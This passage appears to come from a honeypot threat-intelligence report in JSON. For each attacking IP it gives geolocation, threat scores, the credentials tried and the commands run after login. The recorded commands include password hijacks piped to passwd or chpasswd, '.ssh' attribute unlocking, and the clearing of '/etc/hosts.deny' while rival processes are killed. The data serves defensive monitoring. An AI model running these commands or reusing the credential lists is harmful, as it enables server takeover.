        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 263238,
      "as_org": "Eliana Vanessa Morocho Ona",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T01:08:25.531000+00:00",
        "last_seen_30d": "2026-04-05T02:02:38.219000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "114.8.146.58": {
      "attack_count": 262,
      "first_seen": "2026-04-20T12:06:07.637Z",
      "last_seen": "2026-04-20T12:46:10.630Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "testuser",
        "claude",
        "dev",
        "ftpuser",
        "odoo",
        "omm",
        "sg",
        "steam",
        "test",
        "testuser01",
        "testuser1",
        "user04",
        "user1",
        "user8",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11223344",
        "123",
        "1q2w3e",
        "1qaz@WSX",
        "Ab123456",
        "Ab123456@",
        "Cq123456",
        "Qweasd!@#",
        "Qwerty78",
        "Qwertyui12345678",
        "Root2026@#",
        "a123456Z",
        "admin",
        "admin123456!",
        "claude25!",
        "dev22",
        "odoo123",
        "omm@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1q2w3e\\nximQwecSc5C0\\nximQwecSc5C0\\n\"|passwd",
        "echo \"root:riDbnAvXcXWg\"|chpasswd|bash",
        "echo -e \"1q2w3e\\nximQwecSc5C0\\nximQwecSc5C0\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 4761,
      "as_org": "INDOSAT Internet Network Provider",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T12:06:07.637000+00:00",
        "last_seen_30d": "2026-04-20T12:47:18.790000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 66
      }
    },
    "187.107.88.97": {
      "attack_count": 194,
      "first_seen": "2026-04-11T03:51:28.809Z",
      "last_seen": "2026-04-11T05:16:21.585Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "claude",
        "ts",
        "345gs5662d34",
        "admin",
        "andong",
        "deploy",
        "dev",
        "esuser",
        "frappe",
        "leonardo",
        "log",
        "mine",
        "postgres",
        "sepehr",
        "superuser",
        "test",
        "ts3server",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "123@abc",
        "3245gs5662d34",
        "345gs5662d34",
        "6969",
        "Admin12345678$",
        "Asd123!@#",
        "Asdfghjkl123456",
        "Claude29!",
        "Frappe01",
        "Frappe26",
        "M3gaP33!",
        "Qwertyuiop@@",
        "Welcome@888!",
        "ZAQ!2wsx2019",
        "andong123",
        "claude2026!",
        "devpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nJ2sX6W5OolAy\\nJ2sX6W5OolAy\\n\"|passwd",
        "echo -e \"123\\nJ2sX6W5OolAy\\nJ2sX6W5OolAy\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Bernardo do Campo",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T03:51:28.809000+00:00",
        "last_seen_30d": "2026-04-11T05:17:31.709000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 67
      }
    },
    "217.60.61.246": {
      "attack_count": 185,
      "first_seen": "2026-04-14T00:34:24.354Z",
      "last_seen": "2026-04-14T03:11:18.365Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "nacos",
        "ubuntu",
        "345gs5662d34",
        "alireza",
        "deploy",
        "frappe",
        "jenkins",
        "myappuser",
        "oracle",
        "teamspeak",
        "vpn"
      ],
      "passwords_attempted": [
        "!QAZxdr5",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2025!",
        "Admin@123",
        "Oracle0",
        "Qazwsx1111.",
        "Qazwsx2026@123",
        "Root2025$",
        "Test123",
        "Ubuntu23!",
        "Zr123456@",
        "admin2025",
        "alireza",
        "frappe!@#$",
        "frappe09",
        "nacos",
        "qazwsx2024@@",
        "qazwsx54321@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"nacos\\nz4AZ41e5ZemJ\\nz4AZ41e5ZemJ\\n\"|passwd",
        "echo -e \"nacos\\nz4AZ41e5ZemJ\\nz4AZ41e5ZemJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T00:34:24.354000+00:00",
        "last_seen_30d": "2026-04-14T03:12:26.576000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 185,
        "Suricata": 76
      }
    },
    "185.228.135.197": {
      "attack_count": 168,
      "first_seen": "2026-04-02T02:09:31.485Z",
      "last_seen": "2026-04-02T03:12:30.195Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZ7ujm",
        "11qq22ww",
        "1234!@#$qwerQWER",
        "1234rewq!@#$",
        "20240803",
        "3245gs5662d34",
        "345gs5662d34",
        "43e75233",
        "6789",
        "ASDF123",
        "Admin@321",
        "Asdf2026",
        "Ds@123456",
        "Password$1",
        "Password+1",
        "QWEqwe123!@#",
        "Xc@123456",
        "as147258",
        "chicony",
        "eslam123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:yLFlspi8Inob\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Sochi",
      "asn": 57354,
      "as_org": "SYSTEMA Ltd",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:09:31.485000+00:00",
        "last_seen_30d": "2026-04-02T03:13:32.726000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "59.98.148.5": {
      "attack_count": 164,
      "first_seen": "2026-04-21T15:10:51.163Z",
      "last_seen": "2026-04-21T15:55:50.321Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "gaurav",
        "test",
        "345gs5662d34",
        "aj",
        "andrew",
        "claude",
        "deploy",
        "george",
        "rac",
        "socks",
        "tejas",
        "testftp"
      ],
      "passwords_attempted": [
        "123456",
        "123456Qwerty",
        "3245gs5662d34",
        "345gs5662d34",
        "@123qwe",
        "Abc123",
        "Arpit@123",
        "Frappe1@",
        "Test18",
        "abc",
        "abc@123",
        "andrew",
        "claude14!",
        "gaurav@123",
        "george",
        "jack1234",
        "rac",
        "socks",
        "tejas@123",
        "test16!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"gaurav@123\\nbdLWM89RJLym\\nbdLWM89RJLym\\n\"|passwd",
        "echo -e \"gaurav@123\\nbdLWM89RJLym\\nbdLWM89RJLym\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Coimbatore",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:10:51.163000+00:00",
        "last_seen_30d": "2026-04-21T15:56:57.087000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 51
      }
    },
    "182.69.183.57": {
      "attack_count": 161,
      "first_seen": "2026-04-21T17:39:48.443Z",
      "last_seen": "2026-04-21T18:10:46.270Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "steam",
        "storage",
        "deploy",
        "jimmy",
        "lisi",
        "postgres",
        "sina",
        "test",
        "testx",
        "walter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11223344",
        "445566",
        "777",
        "AA1234567890",
        "Abc112233",
        "Huawei@1234",
        "Li147258",
        "P@$$word",
        "P@ssw0rd1381",
        "Qazwsx000@",
        "Temp1234",
        "Test01",
        "Ubuntu$",
        "azertyuiop",
        "jimmy",
        "lisi",
        "password123",
        "q1w2e3r4.1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T17:39:48.443000+00:00",
        "last_seen_30d": "2026-04-21T18:11:55.949000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 161,
        "Suricata": 64
      }
    },
    "62.60.234.140": {
      "attack_count": 143,
      "first_seen": "2026-04-27T15:12:29.354Z",
      "last_seen": "2026-04-27T16:33:28.209Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "gpu",
        "root01"
      ],
      "passwords_attempted": [
        "!@123qwas",
        "!@ewq123",
        "0p",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@123123",
        "Hosting",
        "Huawei!@$%",
        "abc:123",
        "developer123",
        "manager",
        "qwe222222",
        "qwert123456",
        "root000",
        "root512",
        "w33k1ngs"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:hrrWTKYaSxtl\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T15:12:29.354000+00:00",
        "last_seen_30d": "2026-04-27T16:34:37.409000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 40
      }
    },
    "125.21.59.218": {
      "attack_count": 93,
      "first_seen": "2026-04-26T16:28:50.913Z",
      "last_seen": "2026-04-26T16:49:52.689Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1111115",
        "1Q2W3E4R",
        "1QW2E",
        "3245gs5662d34",
        "345gs5662d34",
        "@password@",
        "Abcd1234",
        "Admin@88888",
        "Qaz12345",
        "Welcome@0012",
        "Win!2025",
        "lol123?",
        "qwerty1111",
        "qwerty@1",
        "rP@ssw0rd",
        "staff",
        "zaq.11"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T16:28:50.913000+00:00",
        "last_seen_30d": "2026-04-26T16:51:01.552000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 38
      }
    },
    "90.150.68.44": {
      "attack_count": 80,
      "first_seen": "2026-04-02T08:35:28.999Z",
      "last_seen": "2026-04-02T09:54:47.111Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 48190,
      "as_org": "T2 Mobile LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:35:28.999000+00:00",
        "last_seen_30d": "2026-04-02T10:04:56.826000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 51
      }
    },
    "34.140.88.28": {
      "attack_count": 71,
      "first_seen": "2026-04-29T07:13:04.639Z",
      "last_seen": "2026-04-29T07:14:01.274Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 9462",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T07:13:04.639000+00:00",
        "last_seen_30d": "2026-04-29T07:15:11.139000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "154.92.15.23": {
      "attack_count": 51,
      "first_seen": "2026-04-14T16:59:00.725Z",
      "last_seen": "2026-04-30T09:55:12.179Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 47.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.1,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T16:59:00.725000+00:00",
        "last_seen_30d": "2026-04-30T10:05:15.558000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Cowrie": 51
      }
    },
    "103.213.112.213": {
      "attack_count": 50,
      "first_seen": "2026-04-15T04:33:41.196Z",
      "last_seen": "2026-04-15T04:39:09.613Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T04:33:41.196000+00:00",
        "last_seen_30d": "2026-04-15T04:40:19.433000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "124.29.194.210": {
      "attack_count": 50,
      "first_seen": "2026-04-17T16:47:26.600Z",
      "last_seen": "2026-04-17T16:52:51.936Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T16:47:26.600000+00:00",
        "last_seen_30d": "2026-04-17T16:54:00.929000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.59.194": {
      "attack_count": 50,
      "first_seen": "2026-04-16T12:07:34.469Z",
      "last_seen": "2026-04-16T12:12:58.887Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T12:07:34.469000+00:00",
        "last_seen_30d": "2026-04-16T12:14:05.931000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.170.198": {
      "attack_count": 50,
      "first_seen": "2026-04-05T13:00:33.266Z",
      "last_seen": "2026-04-05T13:05:57.454Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T13:00:33.266000+00:00",
        "last_seen_30d": "2026-04-19T05:39:10.157000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 49,
        "Honeytrap": 22
      }
    },
    "45.11.96.44": {
      "attack_count": 46,
      "first_seen": "2026-04-30T17:54:01.823Z",
      "last_seen": "2026-04-30T17:58:11.165Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 48678,
      "as_org": "PENTECH BILISIM TEKNOLOJILERI SANAYI VE TICARET LIMITED SIRKETi",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T17:54:01.823000+00:00",
        "last_seen_30d": "2026-04-30T17:59:15.752000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "95.215.0.144": {
      "attack_count": 40,
      "first_seen": "2026-04-02T07:36:55.948Z",
      "last_seen": "2026-04-26T13:35:03.706Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
